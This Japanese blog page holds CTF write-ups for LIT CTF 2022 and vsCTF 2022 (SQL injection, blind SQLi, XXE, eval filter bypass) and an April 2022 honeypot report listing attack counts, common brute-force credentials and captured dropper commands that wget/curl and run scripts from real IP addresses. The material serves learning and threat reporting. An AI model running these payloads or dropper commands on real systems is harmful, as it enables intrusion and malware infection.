Midnight Monologues

日々勉強したことを書いてきます

Lexington Informatics Tournament CTF 2022 - Writeup

2022年7月22日, 15:00 UTC - 7月25日, 03:59 UTCに開催されたLexington Informatics Tournament CTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で10問解いたので、以下にWriteupを記載する。

Chiper

Running Up That Hill

If I only could, I'd make a deal with god, and I'd get him to swap our places.

attachment : RunningUpThatHill.zip


指定されたURLへアクセスすると添付のようなメッセージが表示される。

ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}

5 19 27
10 19 24
11 6 16

A8FC7A{H7_ZODCEND_8F_CCQV_RTTVHD}


問題文から3×3のHill暗号と予測する。onlineのデコーダにくわせるとflagが確認できる。

flag : LITCTF{B3_RUNN1NG_UP_TH4T_H1LLLL}


Web

Personal Website

CodeTiger
I am Esther Man, a brilliant student at Lexington High School. Welcome to my personal(http://litctf.live:31777/) website <3 <3 <3


指定されたURLへアクセスするとバイオリンと女の子、AmongUsのキャラクターの画像が表示される。


ソースコードを見るとtopページとstyle.cssjavascript.jsにflagが記載されている。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31777/ | grep _
 
 <中略>

        <p>HAHAHAHAHAHAHAHAHAHA I know you will never reach the bottom here because of my infinite scroll. If you somehow did, here is the first third of the half LITCTF{E5th3r_M4n</p>

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31777/style.css | grep _
 
 <中略>

        /* _i5_s0_OTZ_0TZ_OFZ_4t_ */

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31777/javascript.js | grep _ 
 
 <中略>

    // 3v3ryth1ng_sh3_d03s}
    if(Math.random() < 0.5) $("#container").append('<button class="secretButton"><a href="https://www.youtube.com/watch?v=iik25wqIuFo&ab_channel=Rickrol2Cbutwithadifferentlink" class="secret">Click here to see my biggest secret</a></button>');


flag : LITCTF{E5th3r_M4n_i5_s0_OTZ_0TZ_OFZ_4t_3v3ryth1ng_sh3_d03s}



Kevin's Cookies

CodeTiger
Welcome to Kevin Zhu's cookie store!(http://litctf.live:31778/) I heard he sells many super delicious cookies :yum:


指定されたURLへアクセスするとCookieの画像が表示されたWebサイトが表示される。

Cookieを確認するとlikeCookie=falseが設定されている。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31778/
[sudo] kali のパスワード:
*   Trying 159.89.254.233:31778...
* Connected to litctf.live (159.89.254.233) port 31778 (#0)
> GET / HTTP/1.1
> Host: litctf.live:31778
> User-Agent: curl/7.74.0
> Accept: */*
> 

        <div class="bg"></div>
        <h1>Welcome to My (Kevin Zhu) Cookie 🍪 shop!</h1>
        <div class="whiteContainer">
            <br>

            <p>I have so many cookies to share with you. Unfortunately, judging from your current cookies, it seems like you do not like any cookies 🍪 :<. Thus I will not bother giving you any</p>


likeCookie=trueに変えるとメッセージが変わる。1~20の数字のいずれかをlikeCookieに指定すれば良さそうだ。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v -b "likeCookie=true" http://litctf.live:31778/
*   Trying 159.89.254.233:31778...
* Connected to litctf.live (159.89.254.233) port 31778 (#0)
> GET / HTTP/1.1
> Host: litctf.live:31778
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: likeCookie=true
> 

<!DOCTYPE HTML>
<html>
    <head>
        <title>Kevin Zhu's favorite cookies</title>

        <div class="bg"></div>
        <h1>Welcome to My (Kevin Zhu) Cookie 🍪 shop!</h1>
        <div class="whiteContainer">
            <br>

            <p>Oh silly you. What do you mean you like a true cookie? I have 20 cookies numbered from 1 to 20, and all of them are made from super true authentic recipes.</p>


likeCookieに17を指定した際にflagが表示される。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v -b likeCookie=17 http://litctf.live:31778/
*   Trying 159.89.254.233:31778...
* Connected to litctf.live (159.89.254.233) port 31778 (#0)
> GET / HTTP/1.1
> Host: litctf.live:31778
> User-Agent: curl/7.74.0
> Accept: */*
> Cookie: likeCookie=17
> 

        <div class="bg"></div>
        <h1>Welcome to My (Kevin Zhu) Cookie 🍪 shop!</h1>
        <div class="whiteContainer">
            <br>

            <p>Omg, I too love the 17th cookie. We must share a special connection ❤! Just for you, I will add something special along with the cookie 🍪, here <b>LITCTF{Bd1mens10n_15_l1k3_sup3r_dup3r_0rzzzz}</b>. Don't let the other customers know tho, they won't be happy.</p>
            <img src="https://cwatch.comodo.com/blog/wp-content/uploads/2020/05/what-are-cookies.png" style="width: 100%">


flag : LITCTF{Bd1mens10n_15_l1k3_sup3r_dup3r_0rzzzz}



Guess The Pokemon

Stephanie
Have you heard the new trending game? GUESS THE POKEMON!!!(http://litctf.live:31772/) Please come try out our vast database of pokemons.


指定されたURLへアクセスするとpokemonを検索するWebサイトが表示される。

ソースコードを確認するとフロントエンドがpython+flask、バックエンドがsqlite3のWebサイト構成であり、pokemonテーブル内の何かのpokemonを検索するとflagの値が応答される。検索の際に'(シングルクォート)と(バックスラッシュ)と"(ダブルクォート)はfilterされる。

filterされる文字列を使わずに1 or 1=1 --を入力するとflagが表示された。

flag : LITCTF{flagr3l4t3dt0pok3m0n0rsom3th1ng1dk}


Among Us

CodeTiger
Hello! I am Polopopy, and my friends like to call me Ryan. I have an unhealthy fetichobsession with Among Us, so I made this website(http://litctf.live:31779/) to demonstrate my unyielding enthusiasm!


指定されたURLへアクセスするとAmong USのキャラクターの画像とメッセージが表示される。

ソースコードを確認すると、Secret Link To The Flagというリンクがあるがダミーの動画が表示されるだけだった。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31779/ 

<head>
    <title>I LOVE AMONG US</title>
</head>
<body>
    <div>
        <a style="color: white;font-size: 30px;" href="https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstley">Secret Link To The Flag</a><br>
        <h1>About Me</h1>
        <p style="color: magenta; font-size: 20px; font-weight: 600">Hello! I am Polopopy, and my friends like to call me Ryan. I have an unhealthy <s>fetich</s>obsession with Among Us, so I made this website to demonstrate my unyielding enthuasiasm!</p>
        <h1 class="sus">Here is some of my Fan Fiction that I dream about at night.</h1>
        <p class="sus"><b>That's right. I am the IMPOSTER. I just killed my boss. I now had to convince everyone that I wasn't the imposter. "Chad is the imposter!" I randomly yelled out. Another coworker said "Well, I did see him running towards the stairs/elevator. "Wait, think about this!" Chad stated. "How do you know I'm the murderer? It could be him!" "Hmm.." My coworker, John, said. "Why do you think it's him, Darrius?" "Well," I started, "The same reason as you. I saw him running towards the elevator when the killing happened. "Wait, wait, wait!" Angelica proclaimed. "How do we know it happened on the top floor?" Another coworker, Adam, pointed out the window towards the paramedics wrapping up my boss' mangled corpse in a body bag." Oh!" Angelica said." That's a bit sussy," I said. "I think it must have been Angelica, she's pretending she doesn't know anything?" "Hmm, you might be right." My coworker Dave spoke up. "But I think that it might be you, Darrius." "Wait woah woah, why is it me?" I defended myself. He said "I saw you enter the elevator right before the murderer hit!" He said. Shit. he's onto me." Woah, you could be lying! I was in my cubicle doing my office work!" I yelled back." Oh really, what were you doing?" Dave said." I was uh.. scanning for viruses on my computer!" "Hmm.. okay." "I think that we should get rid of Liam." Angelica proclaimed. "Woah woah woah, pretty lady! Why do you think that?" He quickly hopped to his defense. "I haven't been a part of this discussion at all!" "Well, you're pale, and you work on the closest floor to the boss." Angelica replies. "Yeah, that's sus, Liam." I said. "We should get rid of him." "I agree." Chad said." Me too!" Adam said." Me three!" John said. And so we decided to throw him out the window.</b></p>

        <p class="sus"><b>Now let's say hypothetically I was the impostor. How would I get from reactor to medbay in that timespan, from which we saw each other, till you found yellow dead. Also if I were the impostor hypothetically speaking, how would I have finished all my tasks.</b></p>

    </div>
    <div>
        <h1 style="color: yellow">Sussy Yellow</h1>
        <p style="color: magenta; font-size: 20px; font-weight: 600">
            Not gonna lie, yellow do be looking super sussy!!! With how adept he is at the rotating movement and how he's hiding his head, HE MUST BE HIDING SOMETHING!!!!!
        </p>
    </div>
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">
    <img src="sussy-yellow-amogus" alt="sussy" width="20%">

    <div>
        <p class="suspicious">ඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞඞ</p>


BurpSuiteで処理を追っていたら/sussy-yellow-amogus へGETリクエストを投げた際のheader情報にflagが記載されていた。

flag : LITCTF{mr_r4y_h4n_m4y_b3_su55y_bu7_4t_l3ast_h3s_OTZOTZOTZ}



CTF

CodeTiger
Woah, a Capture The Flag challenge(http://litctf.live:31780/), where players capture each other's flags, in a tournament called Capture The Flag? This is so original :O I do need a break from the standard web anyway I guess.


指定されたURLへアクセスするとCTFdのような画面が表示される。

昨日適当なユーザを作成していたが、プロファイル画面にflagがみえてしまっていた。問題としてはImaginaryCTF 2022のDemocracyと同じ考え方と考えられる。

flag : LITCTF{CTF_1n_a_CTF?_W0AH_TH1S_I5_l1k3_s0_cr34t1v3}



EYANGCH Fan Art Maker

CodeTiger
I am biggest fan of Eyang OTZ OTZ OTZ, which is why I built this EYANGCH Fan Art Maker(http://litctf.live:31775/)


指定されたURLへアクセスするとXML形式のファイルを画像変換するサイトが表示される。


入力欄に何も入力せずにsubmitを押すとflagを含む画像が表示されるが青い太線が邪魔してflag全体が見えないようになっている。


XMLといえばXXEなので以下の入力処理を試してみる

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>


エラーがでて失敗。エラー内容からDOCTYPE element は使えないらしい。


添付ファイルのmain.jsを確認するとPOST処理にてcodeで受け取った処理を最後のgenerateArt(code,res)で画像変換している。 この時のcode = "" + flag + eyangComp + code + "";にてPOST処理で渡すcodeの値は一番最後に指定されており 画像の内容は後から上書きできることが分かる。

require("dotenv").config();

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const ejs = require("ejs");
const {component, parseXML, generateArt} = require("./canvasMaker.js");

app.use(bodyParser.urlencoded({ extended: true }));

app.set('view engine', 'ejs');

app.get('/', (req, res) => {
    res.render("index");
});

app.post('/makeArt', (req, res) => {
    var code = req.body.code;

    var flag = `
<component name="flag">
    <text color="black" font="bold 10pt Arial">` + (process.env.FLAG ?? "ctf{flag}") + `</text>
</component>

<flag x="100" y="400"></flag>
    `;

    var eyangComp = `
<component name="EYANGOTZ">
    <component name="eyes1">
        <line x1="10" y1="80" x2="30" y2="60" color="#1089f5" width="20"></line>
        <line x1="30" y1="60" x2="60" y2="70" color="#1089f5" width="20"></line>
    </component>
    <component name="eyes2">
        <line x1="110" y1="50" x2="130" y2="30" color="#1089f5" width="20"></line>
        <line x1="130" y1="30" x2="160" y2="40" color="#1089f5" width="20"></line>
    </component>
    <component name="mouth">
        <line x1="40" y1="200" x2="50" y2="220" color="#1089f5" width="20"></line>
        <line x1="50" y1="220" x2="190" y2="200" color="#1089f5" width="20"></line>
        <line x1="190" y1="200" x2="200" y2="180" color="#1089f5" width="20"></line>
    </component>
    <text x="30" y="30" font="bold 10pt Arial">EYANG SO OTZ</text>
</component>
<EYANGOTZ x="10" y="50"></EYANGOTZ>
<EYANGOTZ x="350" y="100"></EYANGOTZ>
<EYANGOTZ x="50" y="190"></EYANGOTZ>
<EYANGOTZ x="130" y="200"></EYANGOTZ>
<EYANGOTZ x="200" y="190"></EYANGOTZ>
<EYANGOTZ x="150" y="300"></EYANGOTZ>
    `

    code = "<fanart>" + flag + eyangComp + code + "</fanart>";

    generateArt(code,res);
});

app.listen(8080, () => {
    console.log("EYANG OTZ OTZ OTZ OTZ!!!");
});


ソースコードの値を元に以下を入力してみる。
・お邪魔の青い線の太さを0に
・お邪魔の青い線の色見を白に

<component name="EYANGOTZ">
    <component name="eyes1">
        <line x1="10" y1="80" x2="30" y2="60" color="#FFFFFF" width="0"></line>
        <line x1="30" y1="60" x2="60" y2="70" color="#FFFFFF" width="0"></line>
    </component>
    <component name="eyes2">
        <line x1="110" y1="50" x2="130" y2="30" color="#FFFFFF" width="0"></line>
        <line x1="130" y1="30" x2="160" y2="40" color="#FFFFFF" width="0"></line>
    </component>
    <component name="mouth">
        <line x1="40" y1="200" x2="50" y2="220" color="#FFFFFF" width="0"></line>
        <line x1="50" y1="220" x2="190" y2="200" color="#FFFFFF" width="0"></line>
        <line x1="190" y1="200" x2="200" y2="180" color="#FFFFFF" width="0"></line>
    </component>
    <text x="30" y="30" font="bold 10pt Arial">EYANG SO OTZ</text>
</component>


上記を入力するとflag文字列が確認できるようになる。

flag : LITCTF{wh4t_d03s_CH_1n_EyangCH_m3an???}



EYANGCH Fan Art Maker 2.0

CodeTiger
Unfortunately the last Fan Art maker had an unintended extremely easy solution. Frankly I am disappointed by people's willingness to take the easy route when it comes to ORZing Eyang. To make up for it, here is more EYANG OTZ OTZ OTZ(http://litctf.live:45392/)


EYANGCH Fan Art Maker と全く同じ解き方で解ける。

flag : LLITCTF{3y4ngCH_15_l1k3_ju5t_s0_g3n10sit4}



Amy The Hedgehog

Stephanie
Hi guys! I just learned sqlite3 build my own websiteeee. Come visit my my website(http://litctf.live:31770/) pleaseeee i am ami the dhedghog!!! :3 ( ◡‿◡ *)


指定されたURLへアクセスするとソニック・ザ・ヘッジホッグのエミーの画像が表示される。
ソースコードを確認する。

┌──(kali㉿kali)-[~]
└─$ sudo curl -v http://litctf.live:31770/ 

<html>
  <head>
    <title>Flask Intro - login page</title>
                <style>
                                h1 {text-align: center;}
                                p {text-align: center;}
                                div {text-align: center;}
        h1 { color: #FB4570;}
                                h1 {  font-family: "Apple Chancery" cursive;}

    </style>
  </head>
  <body style="background-color:pink;">
    <div class="container">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
      <h1>hi guys welcome to my website i am ami the dhedghog!!! :3 ( ◡‿◡ *) </h1>
      <br>
                        <style>
                                p { color: #FB4570;}
                                p {  font-family: "Apple Chancery" cursive;}
                        </style>
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
                        <p> ( ◕ᴗ◕✿ ) try to guess my crush!!! (⁄ ⁄•⁄ω⁄•⁄ ⁄)⁄</p>

                        <br>
                        <img src="https://static.wikia.nocookie.net/sonic/images/1/18/TSR_Amy.png" alt = "amy the hedgehog!" height= "200" width = "150">


                        <br>
                        <br>
      <form action="" method="post" >
        <input type="text" placeholder="Guess!!! (⁄ ⁄>⁄ω⁄<⁄ ⁄)⁄" name="name">
        <input type="submit" value="Guess">
      </form>




                        <br>
                                        <img src="https://i.pinimg.com/originals/d8/5f/07/d85f0789fbb2fd1f72ee7c5776975acb.png" alt = "flower" height= "50" width = "50">
    </div>
  </body>
* Connection #0 to host litctf.live left intact
</html>


問題文にあるsqlite3のSQLインジェクションの文字1' or 'a'='a' --を試しに入れると(≧U≦❁) You got it!!! が表示される。


適当なメッセージを入力するとwrong!!! (。•̀ᴗ-)✧が表示される。


つまりBlind SQLインジェクション(≧U≦❁) You got it!!!が表示される条件を検査しながらDB構造を確認する形になる。

以下のSQL文よりDBを構築したsql文は30文字と分かる。

' or ((SELECT length(sql) FROM sqlite_master WHERE type='table' limit 1 offset 0)=30) --


sqlite_masterからsql文を確認するとtable名はnames、カラム名はnameであることが分かる。

' or ((SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' limit 1 offset 0) = hex('C')) --
  ・
  ・

 ↓

CREATE TABLE names (name text)


判明したnamesテーブルの中のnameカラム内のデータは13文字であることが分かる。 中身を同様に1文字ずつ確認するとflagが確認できる。

' or ((SELECT length(name) FROM names)=13) --
' or ((SELECT hex(substr(name,1,1)) FROM names) = hex('L')) --
' or ((SELECT hex(substr(name,2,1)) FROM names) = hex('I')) --
  ・
  ・


flag : LITCTF{sldjf}


Misc

kirby!!!

Stephanie
Kirby is so cool! (Wrap your flag in LITCTF{})

The beginning is very loud so you should turn down your volume.

https://vocaroo.com/12wR27kejDYj

Original song: Green Grounds from Kirby Mass Attack


添付のURLへアクセスするとmp3形式の音楽ファイルをダウンロードできる。
SonicVisualliserでスペクトル分析するとflagが確認できる。

flag : LITCTF{K1RBY1SCOOL!}


感想

  • MURDER MYSTERY zero spaceのコードを見落としていた。残念。
  • EYANGCH Fan Art Maker 3.0 時間切れで解けず。

vsCTF 2022 - Writeup

2022年7月9日, 16:00 UTC - 7月10日, 16:00 UTCに開催されたvsCTF 2022 に会社のチームで参加した。 他のチームメンバーの陰で2問解いたので、以下にWriteupを記載する。

Web

Sanity Check

What does "VS" stand for in vsCTF?

https://challs.viewsource.me/sanity-check/


指定されたURLへアクセスすると添付のようなメッセージが表示される。

Chromeの開発者ツールからソースコードを確認するとコメント化されたflagが確認できる。

flag : vsctf{v1ew_s0urc3_a_f1rst_y3ar_t3am!}



Baby Eval

Yet another baby challenge…

https://babyeval-twekqonvua-uc.a.run.app/


指定されたURLへアクセスすると以下のソースコードが記載された画面が表示される。

title
View Source CTF
description
Powered by Node.js and Express.js
lastUpdate
2022-02-22T22:22:22.222Z
source
const express = require('express');
const app = express();

function escape(s) {
    return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";");
}

function directory(keys) {
    const values = {
        "title": "View Source CTF",
        "description": "Powered by Node.js and Express.js",
        "flag": process.env.FLAG,
        "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.",
        "createdAt": "1970-01-01T00:00:00.000Z",
        "lastUpdate": "2022-02-22T22:22:22.222Z",
        "source": require('fs').readFileSync(__filename),
    };

    return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>";
}

app.get('/', (req, res) => {
    const payload = req.query.payload;

    if (payload && typeof payload === "string") {
        const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload);
        if (matches) {
            res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>"));
        } else {
            res.send(`${eval(payload)}`);
        }
    } else {
        res.send(directory(["title", "description", "lastUpdate", "source"]));
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Server started on http://127.0.0.1:${process.env.PORT}`);
});


payloadで指定した文字列をevalで実行する処理が実装されている。

┌──(root💀kali)-[/ctf]
└─# curl https://babyeval-twekqonvua-uc.a.run.app?payload=1
1                                                                                                                                                          


ただし以下のfilter処理で特定の文字列はサニタイズされる。

    if (payload && typeof payload === "string") {
        const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload);
        if (matches) {
            res.status(400).send(matches.map(i => `<code>${i}</code>`).join("<br>"));


例.

┌──(root💀kali)-[/ctf]
└─# curl https://babyeval-twekqonvua-uc.a.run.app?payload=app
<code>app</code><br><code>app</code> 


ソースコードの戻り値からdirectoryを指定するとdirectory関数の結果が表示される。flagはdirectory関数の中にあるので(や"を使わずにdirectory(["flag"])が表現できればいい。

┌──(root💀kali)-[/ctf]
└─# curl https://babyeval-twekqonvua-uc.a.run.app/?payload=directory
function directory(keys) {
    const values = {
        "title": "View Source CTF",
        "description": "Powered by Node.js and Express.js",
        "flag": process.env.FLAG,
        "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.",
        "createdAt": "1970-01-01T00:00:00.000Z",
        "lastUpdate": "2022-02-22T22:22:22.222Z",
        "source": require('fs').readFileSync(__filename),
    };

    return "<dl>" + keys.map(key => `<dt>${key}</dt><dd><pre>${escape(values[key])}</pre></dd>`).join("") + "</dl>";
}


ここで色々試して directoryflagでflagが表示された。

┌──(root💀kali)-[/ctf]
└─# curl 'https://babyeval-twekqonvua-uc.a.run.app/?payload=directory`flag`'
<dl><dt>flag</dt><dd><pre>&#118;&#115;&#99;&#116;&#102;&#123;&#114;&#101;&#103;&#69;&#120;&#65;&#105;&#110;&#8217;&#116;&#71;&#111;&#111;&#100;&#69;&#110;&#117;&#102;&#70;&#111;&#114;&#87;&#65;&#70;&#125;</pre></dd></dl> 

flag : vsctf{regExAin’tGoodEnufForWAF}

感想

  • Baby Wasm wasmの解析で力尽きた。他の方のWriteupからChromeMemory Inspectorの使い方が分かったので参考になった。
  • vsCAPTCHA 時間切れで解けず。相変わらずコーディング力不足を痛感した。

ハニーポット運用(月次報告:2022年4月)

今月のTopics

1.T-Potのバージョンアップ

T-Potを22.04.0にバージョンアップした。ネットワークインタフェース名がenv =>ethへ変更になるのでinterfacesファイルの書き換えが必要だった。待望のリアルタイムのアクセス情報の可視化が追加されており、満足度の高いものだった。

2.フィッシング詐欺の啓蒙番組をみる

TVのバラエティー番組にてフィッシング詐欺の特集をみた。 news.mynavi.jp

TV番組を観た感想は以下の通り。
・クレカの明細は毎月必ず確認する。(不正利用の検知、チャージバックはお店側にも迷惑がかかるので注意)
・フィッシングサイトは見分けようとしない。(ホモグラフ攻撃のようにアラビア文字キリル文字は見分けがつかない)
・中国のブラックマーケットは怖い。


T-Potにて1か月運用した結果を記載する。

今月のChangelog

 更新無し。

前提条件

運用日時:2022年4月1日-2022年4月30日
運用期間:31日

結果

①各ハニーポットで検知したAttack件数
  • T-Potを構成する各ハニーポットへの攻撃件数の一覧を以下に記載する。
No ハニーポット 件数 先月比
1 Cowrie 1,652,917 86,655
2 Honeytrap 800,414 38,616
3 Heralding 676,881 ▲10,710
4 Dionaea 343,725 ▲37,137
5 Ddospot 231,139 -
6 Mailoney 114,310 98,995
7 Rdpy 30,951 ▲36,823
8 Adbhoney 12,612 ▲4,235
9 Tanner 5,100 219
10 Ciscoasa 2,774 ▲15,658
11 ConPot 2,277 209
12 CitrixHoneypot 1,787 ▲232
13 Redishoneypot 1,547 -
14 Medpot 957 748
15 ElasticPot 764 ▲107
16 Dicompot 103 ▲67
17 Ipphoney 83 -
18 Honeysap 2 ▲11
  • Result
    • T-Potのバージョンアップに伴い、Ddospot/Redishoneypot/Ipphoneyが追加。
    • Mailoneyへのアクセスが増加している傾向あり。

②攻撃元の国名と件数(Top 20)
No 攻撃元の国名 件数 先月順位
1 Netherlands 631,549 2(↑)
2 United States 555,685 4(↑)
3 Russia 519,875 1(↓)
4 China 432,980 3(↓)
5 Japan 265,258 5(→)
6 Brazil 145,960 10(↑)
7 Germany 98,820 11(↑)
8 Singapore 90,026 7(↓)
9 India 88,817 6(↓)
10 Bangladesh 86,297 圏外(↑)
11 Vietnam 75,141 8(↓)
12 Hong Kong 50,530 12(→)
13 Indonesia 50,382 14(↑)
14 United Kingdom 46,986 13(↓)
15 France 44,944 圏外(↑)
16 South Korea 38,458 16(→)
17 Mexico 35,058 15(↓)
18 Sweden 26,740 17(↓)
19 Latvia 25,975 18(↓)
20 Canada 24,208 圏外(↑)
  • Result
    • United Statesのアクセスが増加。Russiaは少し落ち着いている。
    • 日本国内からのアクセスも前月に引き続き多い。

③検知したCVEの脆弱性と件数
  • Suricata(オープンIPS)にて検知した各攻撃の脆弱性の内容を以下に記載する。
No CVE ID Count
1 CVE-2020-11899 162,867
2 CVE-2019-12263 CVE-2019-12261 CVE-2019-12260 CVE-2019-12255 29
3 CVE-2019-0708 CVE-2019-0708 CVE-2019-0708 6
4 CVE-2020-11910 5
  • Result

④よく攻撃されるユーザ名
  • ユーザ名でよく攻撃されるキーワード(Top 50)で記載する。
No ユーザ名 件数
1 root 99,949
2 sa 10,898
3 admin 5,513
4 nproc 5,445
5 user 4,125
6 (empty) 1,867
7 test 1,294
8 22 1,205
9 postgres 1,040
10 !root 612
11 2Wire 607
12 ubuntu 569
13 support 489
14 oracle 436
15 guest 364
16 adm 353
17 git 345
18 ftp 328
19 666666 312
20 blank 312
21 debug 311
22 unknown 305
23 0 304
24 $ALOC$ 303
25 www 276
26 mysql 271
27 administrator 257
28 web 242
29 testuser 232
30 anonymous 224
31 server 218
32 ftpuser 216
33 www-data 203
34 Admin 199
35 data 186
36 db 184
37 user123 174
38 tomcat 170
39 ansible 166
40 wwwroot 166
41 deploy 162
42 pi 160
43 ubnt 157
44 backup 144
45 dev 143
46 minecraft 124
47 hadoop 116
48 system 107
49 user2 105
50 jenkins 98
  • Result
    • 特記事項無し。

⑤よく攻撃されるパスワード
  • パスワードでよく攻撃されるキーワード(Top 50)を以下に記載する。
No パスワード 件数
1 admin 17,397
2 123456 9,081
3 nproc 5,445
4 (empty) 3,743
5 1 2,681
6 password 1,445
7 123 1,070
8 blank 919
9 12345678 913
10 12345 841
11 root 748
12 1234 670
13 0 667
14 user 577
15 test 527
16 support 424
17 666666 415
18 ubnt 410
19 123456789 396
20 00000000 362
21 master 359
22 1qaz2wsx 346
23 alpine 346
24 backup 325
25 hi3518 318
26 1234567 311
27 unknown 308
28 synnet 305
29 !ishtar 303
30 10023 282
31 1234567890 252
32 admin123 230
33 123123 227
34 1q2w3e4r 224
35 abc123 223
36 qwerty 220
37 111111 218
38 ubuntu 183
39 _Cisco 182
40 123qwe 163
41 P@ssw0rd 154
42 !QAZ2wsx 149
43 1qaz@WSX 141
44 postgres 139
45 12 136
46 Passw0rd 133
47 pass 133
48 testuser 132
49 system 131
50 iloveyou 130
  • Result
    • 特記事項無し。

⑥今月のmasscanとZmap
  • masscanの観測結果は以下の通り。

  • Zmapの観測結果は以下の通り。

  • Result

    • 特記事項は無し。

最後に

  • フィッシングサイトのホモグラフ攻撃は巧妙で見分けが全くつかないのが、驚きだった。フィッシングサイトは見分けようとせずに騙されるものとして扱う必要があることが改めて理解できる内容だった。
  • SnOoPy.sh(スヌーピー)やSaitama.sh(ワンパンマンのサイタマ?)など海外のハッカーはアニメや漫画を元にスクリプト命名する場合も多いようだ。
◆shファイルに関するアクセス
#!/bin/sh; PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; wget http://182.52.51.239/scripts/23s; curl -O http://182.52.51.239/scripts/23s; chmod +x 23s; ./23s; wget http://182.52.51.239/scripts/23; curl -O http://182.52.51.239/scripts/23; chmod +x 23; ./23; rm -rf 23.sh; ,
cd /data/local/tmp/; busybox wget http://104.249.173.103/w.sh; sh w.sh; curl http://104.249.173.103/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://136.144.41.60/w.sh; sh w.sh; curl http://136.144.41.60/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://140.238.96.175/w.sh; sh w.sh; curl http://140.238.96.175/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://141.95.153.160/w.sh; sh w.sh; curl http://141.95.153.160/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://159.65.25.30/w.sh; sh w.sh; curl http://159.65.25.30/w.sh; sh w.sh,
cd /data/local/tmp/; busybox wget http://194.31.98.171/w.sh; sh w.sh; curl http://194.31.98.171/c.sh -O c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://194.31.98.171/w.sh; sh w.sh; curl http://194.31.98.171/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://194.31.98.191/w.sh; sh w.sh; curl http://194.31.98.191/c.sh -O c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://194.31.98.191/w.sh; sh w.sh; curl http://194.31.98.191/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://194.31.98.248/w.sh; sh w.sh; curl http://194.31.98.248/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://2.56.56.94/w.sh; sh w.sh; curl http://2.56.56.94/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://205.185.115.245/w.sh; sh w.sh; curl http://205.185.115.245/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://205.185.116.110/w.sh; sh w.sh; curl http://205.185.116.110/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://209.141.34.115/w.sh; sh w.sh; curl http://209.141.34.115/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://23.94.22.13/w.sh; sh w.sh; curl http://23.94.22.13/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://23.95.0.211/w.sh; sh w.sh; curl http://23.95.0.211/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://23.95.225.102/bins/w.sh; sh w.sh; curl http://23.95.225.102/bins/c.sh; sh c.sh,
cd /data/local/tmp/; busybox wget http://31.210.20.111/w.sh; sh w.sh android.exploit; curl http://31.210.20.111/c.sh; sh c.sh android.exploit,
